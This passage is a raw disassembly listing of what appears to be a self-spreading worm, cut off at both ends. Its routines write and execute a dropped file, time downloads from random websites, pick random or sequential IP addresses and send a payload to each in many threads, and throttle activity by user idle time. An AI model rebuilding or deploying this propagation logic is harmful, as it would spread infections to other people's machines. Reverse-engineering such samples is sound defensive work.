loc_9AD4E4:				; CODE XREF: sub_9AD473+47j
		xor	ebx, ebx


loc_9AD4E6:				; CODE XREF: sub_9AD473+6Fj
		push	ebx		; hTemplateFile
		push	ebx		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	2		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9AD54B
		mov	esi, [ebp+nNumberOfBytesToWrite]
		push	ebx		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	esi		; nNumberOfBytesToWrite
		push	[ebp+lpBuffer]	; lpBuffer
		mov	[ebp+NumberOfBytesWritten], ebx
		push	edi		; hFile
		call	WriteFile
		push	edi		; hObject
		call	CloseHandle
		cmp	[ebp+NumberOfBytesWritten], esi
		lea	eax, [ebp+FileName]
		jnz	short loc_9AD544
		push	ebx		; int
		push	eax		; lpCommandLine
		call	sub_9AD3A7
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9AD54B
		mov	[ebp+var_4], 1
		jmp	short loc_9AD54B
; ---------------------------------------------------------------------------


loc_9AD544:				; CODE XREF: sub_9AD473+B9j
		push	eax		; lpFileName
		call	DeleteFileA


loc_9AD54B:				; CODE XREF: sub_9AD473+91j
					; sub_9AD473+C6j ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AD473	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AD553	proc near		; CODE XREF: sub_9AD6D4+7Ap
		push	1		; Comperand
		push	0		; Exchange
		push	offset Destination ; Destination
		call	InterlockedCompareExchange
		dec	eax
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_9AD553	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AD569	proc near		; CODE XREF: StartAddress+1D3p
					; sub_9A8FC6+3Ap
		push	esi
		mov	esi, InterlockedCompareExchange
		push	edi
		mov	edi, offset Destination
		jmp	short loc_9AD580
; ---------------------------------------------------------------------------


loc_9AD578:				; CODE XREF: sub_9AD569+21j
		push	64h		; dwMilliseconds
		call	Sleep


loc_9AD580:				; CODE XREF: sub_9AD569+Dj
		push	0		; Comperand
		push	1		; Exchange
		push	edi		; Destination
		call	esi ; InterlockedCompareExchange
		cmp	eax, 1
		jnz	short loc_9AD578
		pop	edi
		pop	esi
		retn
sub_9AD569	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AD58F	proc near		; CODE XREF: sub_9AD627:loc_9AD663p
					; sub_9AD627:loc_9AD67Ep

szUrl		= byte ptr -2Ch
var_D		= byte ptr -0Dh
dwFlags		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	edi
		xor	edi, edi
		call	rand
		push	5
		pop	ecx
		xor	edx, edx
		div	ecx
		lea	eax, [ebp+szUrl]
		push	off_9BAAB4[edx*4]
		push	offset aHttpWww_S ; "http://www.%s"
		push	20h		; Count
		push	eax		; Dest
		call	_snprintf
		add	esp, 10h
		push	edi		; dwReserved
		lea	eax, [ebp+dwFlags]
		push	eax		; lpdwFlags
		mov	[ebp+var_D], 0
		call	InternetGetConnectedState
		test	eax, eax
		jz	short loc_9AD622
		push	ebx
		push	esi
		mov	esi, GetTickCount
		mov	[ebp+var_4], edi
		call	esi ; GetTickCount
		mov	[ebp+var_8], eax
		push	1		; int
		lea	eax, [ebp+var_4]
		push	eax		; int
		lea	eax, [ebp+szUrl]
		push	eax		; lpszUrl
		call	sub_9ACAC1
		add	esp, 0Ch
		mov	ebx, eax
		call	esi ; GetTickCount
		mov	esi, eax
		sub	esi, [ebp+var_8]
		test	ebx, ebx
		jz	short loc_9AD620
		push	ebx		; hMem
		call	GlobalFree
		test	esi, esi
		jz	short loc_9AD620
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_9AD620
		xor	edx, edx
		div	esi
		mov	edi, eax
		imul	edi, 3E8h


loc_9AD620:				; CODE XREF: sub_9AD58F+71j
					; sub_9AD58F+7Cj ...
		pop	esi
		pop	ebx


loc_9AD622:				; CODE XREF: sub_9AD58F+42j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_9AD58F	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AD627	proc near		; CODE XREF: sub_9AD831+Ap
					; sub_9AD831+28p

var_C		= dword	ptr -0Ch
dwFlags		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	ebx		; dwReserved
		lea	eax, [esp+18h+dwFlags]
		push	eax		; lpdwFlags
		xor	ebp, ebp
		call	InternetGetConnectedState
		test	eax, eax
		jz	loc_9AD6CC
		mov	al, byte ptr [esp+14h+dwFlags]
		and	al, 1
		neg	al
		push	esi
		mov	esi, Sleep
		push	edi
		mov	edi, 0BB8h
		sbb	eax, eax
		and	eax, 0FFFFFFA4h
		add	eax, 64h
		mov	ebp, eax


loc_9AD663:				; CODE XREF: sub_9AD627+50j
		call	sub_9AD58F
		test	eax, eax
		mov	[esp+1Ch+var_4], eax
		jnz	short loc_9AD679
		push	edi		; dwMilliseconds
		call	esi ; Sleep
		inc	ebx
		cmp	ebx, 5
		jl	short loc_9AD663


loc_9AD679:				; CODE XREF: sub_9AD627+47j
		and	[esp+1Ch+var_C], 0


loc_9AD67E:				; CODE XREF: sub_9AD627+6Ej
		call	sub_9AD58F
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_9AD697
		push	edi		; dwMilliseconds
		call	esi ; Sleep
		inc	[esp+1Ch+var_C]
		cmp	[esp+1Ch+var_C], 5
		jl	short loc_9AD67E


loc_9AD697:				; CODE XREF: sub_9AD627+60j
		mov	eax, [esp+1Ch+var_4]
		test	eax, eax
		pop	edi
		pop	esi
		jz	short loc_9AD6CC
		test	ebx, ebx
		jz	short loc_9AD6CC
		add	eax, ebx
		push	6
		shr	eax, 1
		xor	edx, edx
		pop	ecx
		div	ecx
		push	2Ch
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	ebp, eax
		mov	eax, 190h
		cmp	ebp, eax
		jbe	short loc_9AD6C4
		mov	ebp, eax


loc_9AD6C4:				; CODE XREF: sub_9AD627+99j
		cmp	ebp, 8
		jnb	short loc_9AD6CC
		push	8
		pop	ebp


loc_9AD6CC:				; CODE XREF: sub_9AD627+17j
					; sub_9AD627+78j ...
		mov	eax, ebp
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
sub_9AD627	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9AD6D4(LPVOID)

sub_9AD6D4	proc near		; DATA XREF: sub_9AD831+58o

var_2C		= dword	ptr -2Ch
dwFlags		= dword	ptr -28h
Size		= dword	ptr -24h
Src		= dword	ptr -20h
netlong		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	1Ch
		push	offset stru_9A44A0
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		push	offset Addend	; lpAddend
		call	InterlockedIncrement
		cmp	dword_9BB2B0, eax
		jb	loc_9AD81C
		and	[ebp+ms_exc.disabled], 0
		call	sub_9AC50B
		push	dword ptr [ebx+10h]
		push	dword ptr [ebx+4]
		lea	eax, [ebp+Size]
		push	eax
		lea	eax, [ebp+Src]
		push	eax
		call	sub_9AA646
		add	esp, 10h
		test	eax, eax
		jz	loc_9AD818
		mov	edi, 102h
		mov	esi, WaitForSingleObject


loc_9AD72C:				; CODE XREF: sub_9AD6D4+11Aj
					; sub_9AD6D4+12Dj
		push	0		; dwMilliseconds
		push	dword ptr [ebx]	; hHandle
		call	esi ; WaitForSingleObject
		cmp	eax, edi
		jnz	loc_9AD806


loc_9AD73A:				; CODE XREF: sub_9AD6D4+106j
		push	0		; dwReserved
		lea	eax, [ebp+dwFlags]
		push	eax		; lpdwFlags
		call	InternetGetConnectedState
		test	eax, eax
		jz	loc_9AD7E0
		call	sub_9AD553
		test	eax, eax
		jz	short loc_9AD764
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		call	sub_9A8F60
		pop	ecx
		pop	ecx


loc_9AD764:				; CODE XREF: sub_9AD6D4+81j
					; sub_9AD6D4+A8j ...
		call	rand
		mov	word ptr [ebp+netlong],	ax
		call	rand
		mov	word ptr [ebp+netlong+2], ax
		cmp	byte ptr [ebp+netlong],	0Bh
		jb	short loc_9AD764
		cmp	byte ptr [ebp+netlong],	0F0h
		ja	short loc_9AD764
		cmp	byte ptr [ebp+netlong+1], 0FEh
		ja	short loc_9AD764
		cmp	al, 0FEh
		ja	short loc_9AD764
		cmp	byte ptr [ebp+netlong+3], 1
		jb	short loc_9AD764
		cmp	byte ptr [ebp+netlong+3], 0FEh
		ja	short loc_9AD764
		push	[ebp+netlong]
		call	sub_9AC3B1
		pop	ecx
		test	eax, eax
		jz	short loc_9AD764
		push	[ebp+netlong]
		call	sub_9AC384
		pop	ecx
		test	eax, eax
		jz	short loc_9AD764
		mov	eax, [ebp+netlong]
		mov	[ebp+var_2C], eax
		cmp	eax, [ebx+4]
		jz	short loc_9AD7CE
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	eax		; netlong
		call	sub_9AABAE
		add	esp, 0Ch


loc_9AD7CE:				; CODE XREF: sub_9AD6D4+E9j
		push	dwMilliseconds	; dwMilliseconds
		push	dword ptr [ebx]	; hHandle
		call	esi ; WaitForSingleObject
		cmp	eax, edi
		jz	loc_9AD73A


loc_9AD7E0:				; CODE XREF: sub_9AD6D4+74j
					; sub_9AD6D4+12Bj
		push	0		; dwReserved
		lea	eax, [ebp+dwFlags]
		push	eax		; lpdwFlags
		call	InternetGetConnectedState
		test	eax, eax
		jnz	loc_9AD72C
		push	3E8h		; dwMilliseconds
		push	dword ptr [ebx]	; hHandle
		call	esi ; WaitForSingleObject
		cmp	eax, edi
		jz	short loc_9AD7E0
		jmp	loc_9AD72C
; ---------------------------------------------------------------------------


loc_9AD806:				; CODE XREF: sub_9AD6D4+60j
		push	[ebp+Src]	; hMem
		call	GlobalFree
		jmp	short loc_9AD818
; ---------------------------------------------------------------------------


loc_9AD811:				; DATA XREF: .text:stru_9A44A0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AD815:				; DATA XREF: .text:stru_9A44A0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AD818:				; CODE XREF: sub_9AD6D4+47j
					; sub_9AD6D4+13Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_9AD81C:				; CODE XREF: sub_9AD6D4+20j
		push	offset Addend	; lpAddend
		call	InterlockedDecrement
		xor	eax, eax
		call	__SEH_epilog
		retn	4
sub_9AD6D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9AD831(LPVOID)

sub_9AD831	proc near		; DATA XREF: sub_9ADBF1+369o

ThreadId	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		call	sub_9AC50B
		call	sub_9AD627
		mov	edi, [ebp+ThreadId]
		jmp	short loc_9AD85E
; ---------------------------------------------------------------------------


loc_9AD845:				; CODE XREF: sub_9AD831+31j
		push	3E8h		; dwMilliseconds
		push	dword ptr [edi]	; hHandle
		call	WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_9AD8B4
		call	sub_9AD627


loc_9AD85E:				; CODE XREF: sub_9AD831+12j
		mov	esi, eax
		test	esi, esi
		jz	short loc_9AD845
		push	ebx
		push	3
		pop	ecx
		xor	edx, edx
		div	ecx
		push	eax		; Value
		push	offset Target	; Target
		call	InterlockedExchange
		test	esi, esi
		mov	ebx, CloseHandle
		jbe	short loc_9AD89E


loc_9AD882:				; CODE XREF: sub_9AD831+6Bj
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	0		; dwCreationFlags
		push	edi		; lpParameter
		push	offset sub_9AD6D4 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	ebx ; CloseHandle
		dec	esi
		jnz	short loc_9AD882


loc_9AD89E:				; CODE XREF: sub_9AD831+4Fj
		push	0FFFFFFFFh	; dwMilliseconds
		push	dword ptr [edi]	; hHandle
		call	WaitForSingleObject
		push	dword ptr [edi]	; hObject
		call	ebx ; CloseHandle
		push	edi		; hMem
		call	GlobalFree
		pop	ebx


loc_9AD8B4:				; CODE XREF: sub_9AD831+26j
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		retn	4
sub_9AD831	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9AD8BC(LPVOID)

sub_9AD8BC	proc near		; DATA XREF: sub_9ADA44+10Co
					; sub_9ADBF1+20Fo

var_30		= dword	ptr -30h
dwFlags		= dword	ptr -2Ch
Size		= dword	ptr -28h
Src		= dword	ptr -24h
netlong		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	20h
		push	offset stru_9A44B0
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_30], esi
		push	offset Addend	; lpAddend
		call	InterlockedIncrement
		cmp	dword_9BB2B0, eax
		jb	loc_9ADA20
		and	[ebp+ms_exc.disabled], 0
		call	sub_9AC50B
		mov	ebx, 102h
		mov	edi, WaitForSingleObject


loc_9AD8F9:				; CODE XREF: sub_9AD8BC+14Aj
		mov	eax, [esi+8]
		mov	[ebp+netlong], eax
		push	dword ptr [esi+10h]
		push	dword ptr [esi+4]
		lea	eax, [ebp+Size]
		push	eax
		lea	eax, [ebp+Src]
		push	eax
		call	sub_9AA646
		add	esp, 10h
		test	eax, eax
		jz	loc_9AD9C6
		and	[ebp+var_1C], 0


loc_9AD921:				; CODE XREF: sub_9AD8BC+E9j
					; sub_9AD8BC+FCj
		push	0		; dwMilliseconds
		push	dword ptr [esi]	; hHandle
		call	edi ; WaitForSingleObject
		cmp	eax, ebx
		jnz	loc_9AD9BD
		mov	eax, [ebp+var_1C]
		cmp	eax, [esi+0Ch]
		jnb	loc_9AD9BD


loc_9AD93B:				; CODE XREF: sub_9AD8BC+D9j
		push	0		; dwReserved
		lea	eax, [ebp+dwFlags]
		push	eax		; lpdwFlags
		call	InternetGetConnectedState
		test	eax, eax
		jz	short loc_9AD997
		mov	eax, [ebp+var_1C]
		cmp	eax, [esi+0Ch]
		jnb	short loc_9AD997
		push	[ebp+netlong]	; netlong
		call	ntohl
		inc	eax
		push	eax		; netlong
		call	ntohl_0
		mov	[ebp+netlong], eax
		cmp	eax, [esi+4]
		jz	short loc_9AD992
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	eax		; netlong
		call	sub_9AABAE
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 0
		mov	eax, dwMilliseconds
		jnz	short loc_9AD989
		mov	eax, dword_9BAAB0


loc_9AD989:				; CODE XREF: sub_9AD8BC+C6j
		push	eax		; dwMilliseconds
		push	dword ptr [esi]	; hHandle
		call	edi ; WaitForSingleObject
		cmp	eax, ebx
		jnz	short loc_9AD997


loc_9AD992:				; CODE XREF: sub_9AD8BC+ACj
		inc	[ebp+var_1C]
		jmp	short loc_9AD93B
; ---------------------------------------------------------------------------


loc_9AD997:				; CODE XREF: sub_9AD8BC+8Dj
					; sub_9AD8BC+95j ...
		push	0		; dwReserved
		lea	eax, [ebp+dwFlags]
		push	eax		; lpdwFlags
		call	InternetGetConnectedState
		test	eax, eax
		jnz	loc_9AD921
		push	3E8h		; dwMilliseconds
		push	dword ptr [esi]	; hHandle
		call	edi ; WaitForSingleObject
		cmp	eax, ebx
		jz	short loc_9AD997
		jmp	loc_9AD921
; ---------------------------------------------------------------------------


loc_9AD9BD:				; CODE XREF: sub_9AD8BC+6Dj
					; sub_9AD8BC+79j
		push	[ebp+Src]	; hMem
		call	GlobalFree


loc_9AD9C6:				; CODE XREF: sub_9AD8BC+5Bj
		cmp	dword ptr [esi+14h], 0
		jz	short loc_9AD9D7
		push	offset dword_9BB2C0 ; lpAddend
		call	InterlockedDecrement


loc_9AD9D7:				; CODE XREF: sub_9AD8BC+10Ej
		push	36EE80h		; dwMilliseconds
		push	dword ptr [esi]	; hHandle
		call	edi ; WaitForSingleObject
		cmp	eax, ebx
		jnz	short loc_9ADA0C
		cmp	dword ptr [esi+14h], 0
		jnz	short loc_9ADA0C
		call	rand
		cdq
		push	1Eh
		pop	ecx
		idiv	ecx
		add	edx, 3Ch
		imul	edx, 0EA60h
		push	edx		; dwMilliseconds
		push	dword ptr [esi]	; hHandle
		call	edi ; WaitForSingleObject
		cmp	eax, ebx
		jz	loc_9AD8F9


loc_9ADA0C:				; CODE XREF: sub_9AD8BC+126j
					; sub_9AD8BC+12Cj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9ADA20
; ---------------------------------------------------------------------------


loc_9ADA12:				; DATA XREF: .text:stru_9A44B0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9ADA16:				; DATA XREF: .text:stru_9A44B0o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_30]


loc_9ADA20:				; CODE XREF: sub_9AD8BC+23j
					; sub_9AD8BC+154j
		push	offset Addend	; lpAddend
		call	InterlockedDecrement
		push	dword ptr [esi]	; hObject
		call	CloseHandle
		push	esi		; hMem
		call	GlobalFree
		xor	eax, eax
		call	__SEH_epilog
		retn	4
sub_9AD8BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9ADA44	proc near		; CODE XREF: sub_9AF7D5+3C5p

Name		= byte ptr -2Ch
var_D		= byte ptr -0Dh
ThreadId	= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_4]
		call	sub_9AC384
		test	eax, eax
		pop	ecx
		jnz	short loc_9ADA66
		mov	eax, dword_9BB2B8
		mov	[ebp+arg_4], eax
		mov	eax, dword_9BB2BC
		jmp	short loc_9ADA6B
; ---------------------------------------------------------------------------


loc_9ADA66:				; CODE XREF: sub_9ADA44+11j
		mov	eax, dword_9BB2F4


loc_9ADA6B:				; CODE XREF: sub_9ADA44+20j
		push	esi
		mov	esi, [ebp+arg_0]
		push	esi
		mov	[ebp+var_8], eax
		call	sub_9AC3B1
		test	eax, eax
		pop	ecx
		jz	loc_9ADB80
		push	[ebp+arg_4]
		call	sub_9AC3B1
		test	eax, eax
		pop	ecx
		jz	loc_9ADB80
		push	esi
		call	sub_9AC384
		test	eax, eax
		pop	ecx
		jz	loc_9ADB80
		push	[ebp+arg_4]
		call	sub_9AC384
		test	eax, eax
		pop	ecx
		jz	loc_9ADB80
		mov	al, byte ptr [ebp+arg_0+2]
		push	ebx
		xor	ebx, ebx
		cmp	al, 0Ah
		mov	[ebp+var_4], esi
		jb	short loc_9ADACB
		sub	al, 0Ah
		mov	esi, 0AF5h
		mov	byte ptr [ebp+var_4+2],	al
		jmp	short loc_9ADAD8
; ---------------------------------------------------------------------------


loc_9ADACB:				; CODE XREF: sub_9ADA44+79j
		movzx	esi, al
		inc	esi
		imul	esi, 0FFh
		mov	byte ptr [ebp+var_4+2],	bl


loc_9ADAD8:				; CODE XREF: sub_9ADA44+85j
		push	edi
		push	esi
		mov	byte ptr [ebp+var_4+3],	bl
		push	[ebp+var_4]
		lea	eax, [ebp+Name]
		push	[ebp+arg_4]
		push	offset aN08x08x08x ; "n%08x%08x%08x"
		push	20h		; Count
		push	eax		; Dest
		call	_snprintf
		add	esp, 18h
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	ebx		; bInitialState
		push	1		; bManualReset
		push	ebx		; lpEventAttributes
		mov	[ebp+var_D], bl
		call	CreateEventA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_9ADB7E
		call	GetLastError
		cmp	eax, 0B7h
		jz	short loc_9ADB77
		push	offset dword_9BB2C0 ; lpAddend
		call	InterlockedIncrement
		cmp	Target,	eax
		jl	short loc_9ADB6C
		push	18h		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	ecx, [ebp+var_8]
		mov	[eax+10h], ecx
		lea	ecx, [ebp+ThreadId]
		push	ecx		; lpThreadId
		push	ebx		; dwCreationFlags
		push	eax		; lpParameter
		push	offset sub_9AD8BC ; lpStartAddress
		push	ebx		; dwStackSize
		push	ebx		; lpThreadAttributes
		mov	[eax], edi
		mov	[eax+0Ch], esi
		mov	dword ptr [eax+14h], 1
		call	CreateThread
		push	eax
		jmp	short loc_9ADB78
; ---------------------------------------------------------------------------


loc_9ADB6C:				; CODE XREF: sub_9ADA44+E8j
		push	offset dword_9BB2C0 ; lpAddend
		call	InterlockedDecrement


loc_9ADB77:				; CODE XREF: sub_9ADA44+D5j
		push	edi		; hObject


loc_9ADB78:				; CODE XREF: sub_9ADA44+126j
		call	CloseHandle


loc_9ADB7E:				; CODE XREF: sub_9ADA44+C8j
		pop	edi
		pop	ebx


loc_9ADB80:				; CODE XREF: sub_9ADA44+37j
					; sub_9ADA44+48j ...
		pop	esi
		leave
		retn
sub_9ADA44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

; DWORD	__stdcall sub_9ADB83(LPVOID)

sub_9ADB83	proc near		; DATA XREF: sub_9AE102+15o

plii		= tagLASTINPUTINFO ptr -8

		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, InterlockedExchange
		push	edi
		mov	ebp, offset dwMilliseconds
		mov	ebx, offset dword_9BAAB0


loc_9ADB99:				; CODE XREF: sub_9ADB83+6Cj
		xor	eax, eax
		mov	[esp+18h+plii.cbSize], 8
		lea	edi, [esp+18h+plii.dwTime]
		stosd
		lea	eax, [esp+18h+plii]
		push	eax		; plii
		call	GetLastInputInfo
		test	eax, eax
		jz	short loc_9ADBE4
		call	GetTickCount
		sub	eax, [esp+18h+plii.dwTime]
		cmp	eax, 493E0h
		jnb	short loc_9ADBD7
		push	7D0h		; Value
		push	ebp		; Target
		call	esi ; InterlockedExchange
		push	0C8h
		jmp	short loc_9ADBE1
; ---------------------------------------------------------------------------


loc_9ADBD7:				; CODE XREF: sub_9ADB83+43j
		push	3E8h		; Value
		push	ebp		; Target
		call	esi ; InterlockedExchange
		push	64h		; Value


loc_9ADBE1:				; CODE XREF: sub_9ADB83+52j
		push	ebx		; Target
		call	esi ; InterlockedExchange


loc_9ADBE4:				; CODE XREF: sub_9ADB83+32j
		push	2710h		; dwMilliseconds
		call	Sleep
		jmp	short loc_9ADB99
sub_9ADB83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; DWORD	__stdcall sub_9ADBF1(LPVOID)

sub_9ADBF1	proc near		; DATA XREF: sub_9AE102+2Do

var_1850	= byte ptr -1850h
var_184C	= byte ptr -184Ch
in		= in_addr ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_C48		= dword	ptr -0C48h
ThreadId	= dword	ptr -50h
var_4C		= byte ptr -4Ch
Name		= byte ptr -48h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
Dst		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1850h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+Dst], ebx
		lea	edi, [ebp+var_1C]
		stosd
		stosd
		mov	eax, dword_9BAE64
		shr	eax, 1
		mov	dword_9BB2B0, eax
		call	sub_9AC50B


loc_9ADC1E:				; CODE XREF: sub_9ADBF1+50Cj
		mov	esi, InternetGetConnectedState
		jmp	short loc_9ADC31
; ---------------------------------------------------------------------------


loc_9ADC26:				; CODE XREF: sub_9ADBF1+49j
		push	1388h		; dwMilliseconds
		call	Sleep


loc_9ADC31:				; CODE XREF: sub_9ADBF1+33j
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		call	esi ; InternetGetConnectedState
		test	eax, eax
		jz	short loc_9ADC26


loc_9ADC3C:				; CODE XREF: sub_9ADBF1+6Ej
		push	1388h		; dwMilliseconds
		call	Sleep
		lea	eax, [ebp+in]
		push	100h		; int
		push	eax		; Dst
		call	sub_9AC416
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		jz	short loc_9ADC3C
		xor	eax, eax
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_4], eax
		jbe	loc_9ADE35


loc_9ADC6F:				; CODE XREF: sub_9ADBF1+23Ej
		lea	eax, [eax+eax*2]
		shl	eax, 2
		push	[ebp+eax+var_C48]
		push	[ebp+eax+var_C4C]
		push	dword ptr [ebp+eax+in.S_un]
		lea	eax, [ebp+Name]
		push	offset aL08x08x08x ; "l%08x%08x%08x"
		push	20h		; Count
		push	eax		; Dest
		call	_snprintf
		add	esp, 18h
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	ebx		; bInitialState
		push	1		; bManualReset
		push	ebx		; lpEventAttributes
		mov	[ebp+var_29], bl
		call	CreateEventA
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_9ADE25
		call	GetLastError
		cmp	eax, 0B7h
		jz	loc_9ADE1E
		cmp	dword_9BB2B8, ebx
		jnz	loc_9ADDD2
		mov	eax, [ebp+var_4]
		lea	eax, [eax+eax*2]
		push	dword ptr [ebp+eax*4+in.S_un]
		call	sub_9AC384
		test	eax, eax
		pop	ecx
		jnz	loc_9ADDD2
		mov	eax, [ebp+var_4]
		lea	eax, [eax+eax*2]
		push	dword ptr [ebp+eax*4+in.S_un] ;	in
		lea	eax, [ebp+var_10]
		push	eax		; int
		lea	eax, [ebp+var_28]
		push	eax		; int
		call	sub_9AA27B
		add	esp, 0Ch
		test	eax, eax
		jz	loc_9ADDD2
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_28]
		lea	eax, [eax+eax*2]
		cmp	ecx, dword ptr [ebp+eax*4+in.S_un]
		jnz	loc_9ADDD2
		push	[ebp+var_10]
		call	sub_9AC3B1
		test	eax, eax
		pop	ecx
		jz	loc_9ADDD2
		push	[ebp+var_10]
		call	sub_9AC384
		test	eax, eax
		pop	ecx
		jz	loc_9ADDD2
		xor	ecx, ecx
		lea	eax, [ebp+in]


loc_9ADD56:				; CODE XREF: sub_9ADBF1+173j
		mov	edx, [eax]
		cmp	edx, [ebp+var_10]
		jz	short loc_9ADDD2
		inc	ecx
		add	eax, 0Ch
		cmp	ecx, [ebp+var_C]
		jb	short loc_9ADD56
		push	ebx		; in
		lea	eax, [ebp+var_8]
		push	eax		; int
		xor	eax, eax
		mov	ax, word ptr dword_9BB2F4
		mov	[ebp+var_8], ebx
		push	eax		; __int16
		call	sub_9AA320
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9ADDD2
		cmp	word ptr [ebp+var_8], bx
		jz	short loc_9ADDD2
		push	[ebp+var_8]
		push	[ebp+var_10]
		call	sub_9AFEDD
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9ADDD2
		mov	eax, [ebp+var_4]
		lea	eax, [eax+eax*2]
		shl	eax, 2
		mov	ecx, dword ptr [ebp+eax+in.S_un]
		mov	[ebp+Dst], ecx
		mov	ecx, [ebp+eax+var_C4C]
		mov	eax, [ebp+eax+var_C48]
		mov	[ebp+var_18], eax
		movzx	eax, word ptr [ebp+var_8]
		mov	dword_9BB2BC, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_1C], ecx
		mov	dword_9BB2B8, eax


loc_9ADDD2:				; CODE XREF: sub_9ADBF1+DFj
					; sub_9ADBF1+FAj ...
		push	18h		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[eax], esi
		mov	ecx, [ebp+var_4]
		lea	esi, [ecx+ecx*2]
		lea	esi, [ebp+esi*4+in]
		lea	edi, [eax+4]
		movsd
		movsd
		movsd
		mov	ecx, dword_9BB2F4
		mov	[eax+10h], ecx
		lea	ecx, [ebp+ThreadId]
		push	ecx		; lpThreadId
		push	ebx		; dwCreationFlags
		push	eax		; lpParameter
		push	offset sub_9AD8BC ; lpStartAddress
		push	ebx		; dwStackSize
		push	ebx		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		push	32h		; dwMilliseconds
		call	Sleep
		jmp	short loc_9ADE25
; ---------------------------------------------------------------------------


loc_9ADE1E:				; CODE XREF: sub_9ADBF1+D3j
		push	esi		; hObject
		call	CloseHandle


loc_9ADE25:				; CODE XREF: sub_9ADBF1+C2j
					; sub_9ADBF1+22Bj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jb	loc_9ADC6F


loc_9ADE35:				; CODE XREF: sub_9ADBF1+78j
		cmp	dword_9BB2B8, ebx
		jnz	loc_9ADEF1
		call	sub_9AA572
		mov	esi, eax
		push	esi
		call	sub_9AC3B1
		test	eax, eax
